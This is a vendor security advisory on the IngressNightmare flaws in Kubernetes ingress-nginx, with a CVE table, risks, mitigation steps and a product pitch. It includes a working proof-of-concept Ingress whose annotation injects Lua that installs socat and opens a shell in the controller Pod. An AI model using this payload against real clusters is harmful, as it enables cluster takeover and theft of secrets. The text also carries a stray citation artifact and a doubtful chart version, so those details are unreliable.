Exploited! Ingress-NGINX CONTROLLER FOR Ingress-NGINX RCE (CVE-2025-1974, 1097, 1098, 24514) – Patch Now | IONIX

Kubernetes ingress-nginx has disclosed a cluster of critical vulnerabilities—CVE-2025-1974, CVE-2025-1097, CVE-2025-1098, and CVE-2025-24514—impacting all controller releases prior to v1.11.5 / v1.12.1. The flaws stem from insufficient sanitization of Ingress annotations and admission-webhook inputs, allowing attackers to inject arbitrary NGINX directives into the auto-generated nginx.conf. Successful exploitation can escalate to full remote-code execution in the controller Pod, facilitating secret theft, lateral movement, and complete cluster takeover.

What are CVE-2025-1974, CVE-2025-1097, CVE-2025-1098 & CVE-2025-24514?

Four high-impact flaws—collectively dubbed IngressNightmare—affect the Kubernetes ingress-nginx controller prior to v1.11.5 / v1.12.1. All stem from unsanitised Ingress annotations that the admission controller copies verbatim into the generated nginx.conf, enabling arbitrary directive injection and Remote Code Execution (RCE):

CVE	Annotation vector	CVSS 3.1	Patched in
2025-1974	Webhook / validating‐admission bypass	9.8 Critical	1.11.5 / 1.12.1
2025-1097	auth-tls-match-cn	8.8 High	1.11.5 / 1.12.1
2025-1098	mirror-target, mirror-host	8.8 High	1.11.5 / 1.12.1
2025-24514	auth-url	8.8 High	1.11.5 / 1.12.1

Because the controller ServiceAccount typically holds cluster-wide Secret read permissions, successful exploitation grants attackers access to every credential stored in the cluster.

Exploiting the Vulnerability

Below is a minimal proof-of-concept Ingress that weaponises CVE-2025-1098 (the annotation changes for the other CVEs):

apiVersion: networking.k8s.io/v1

kind: Ingress

metadata:

  name: pwn-nginx

  annotations:

    nginx.ingress.kubernetes.io/mirror-target: |

      ;lua_shared_dict ionix 10m;

      init_by_lua_block {

        os.execute("apk add --no-cache socat");

        os.execute("socat tcp-listen:4444,reuseaddr,fork exec:/bin/sh &");

      };

spec:

  rules:

  - host: vulnerable.demo

    http:

      paths:

      - path: /

        pathType: Prefix

        backend:

          service:

            name: demo

            port:

              number: 80

1. The semicolon (;) terminates the expected directive.
2. Attacker-controlled Lua code is appended, spawning a reverse shell inside the controller Pod.
3. On reload, NGINX executes the payload with the controller’s privileges, letting the attacker pivot to the Kubernetes API using the mounted token.

CVE-2025-1974 is even deadlier: a crafted AdmissionReview object posted directly to the validating-webhook exposes the same code-injection point without creating an Ingress object first, so even workloads with no RBAC rights can compromise the cluster.

Potential Risks

• Secret & credential theft – every Secret the controller can access (often the whole cluster) is exposed.
• Full cluster compromise – with a valid token, attackers can create privileged pods, deploy cryptominers, or tamper with supply-chain pipelines.
• Persistent backdoors – malicious NGINX directives survive across Pod restarts until the controller image is upgraded.
• Regulatory impact – unauthorised access to PII, PHI, or cardholder data may trigger breach-notification obligations and hefty fines.

Mitigation Steps

1. Upgrade immediately

helm repo update ingress-nginx
helm upgrade nginx ingress-nginx/ingress-nginx \
  --version 4.13.0          # ships controller 1.12.1

Fixed controller tags: v1.11.5 and v1.12.1. citeturn2search0turn3search2

2. Enable strict annotation validation

controller:
  extraArgs:
    enable-annotation-validation: "true"

3. Trim ServiceAccount privileges

Bind the controller to a namespace-scoped Role that only watches Ingresses; block cluster-wide secrets access.

4. Network-segment the controller

Deny egress except to the API server; use NetworkPolicies or CNI firewalls to prevent pod-to-controller traffic.

5. Continuous Threat Exposure Management

Deploy the IONIX Exposure Management Platform to continuously discover vulnerable ingress controllers, validate exploitability, and drive prioritized, automated remediation across the attack surface.

Do these CVEs impact me?

IONIX is actively tracking these vulnerabilities. Our security research team has developed a full exploit-simulation model based on the published exploits. This allows us to assess which customers have impacted assets. IONIX customers can view updated information on their specific assets in the Threat Center of the IONIX portal.

IONIX customers will see updated information on their specific assets in the Threat Center of the IONIX portal.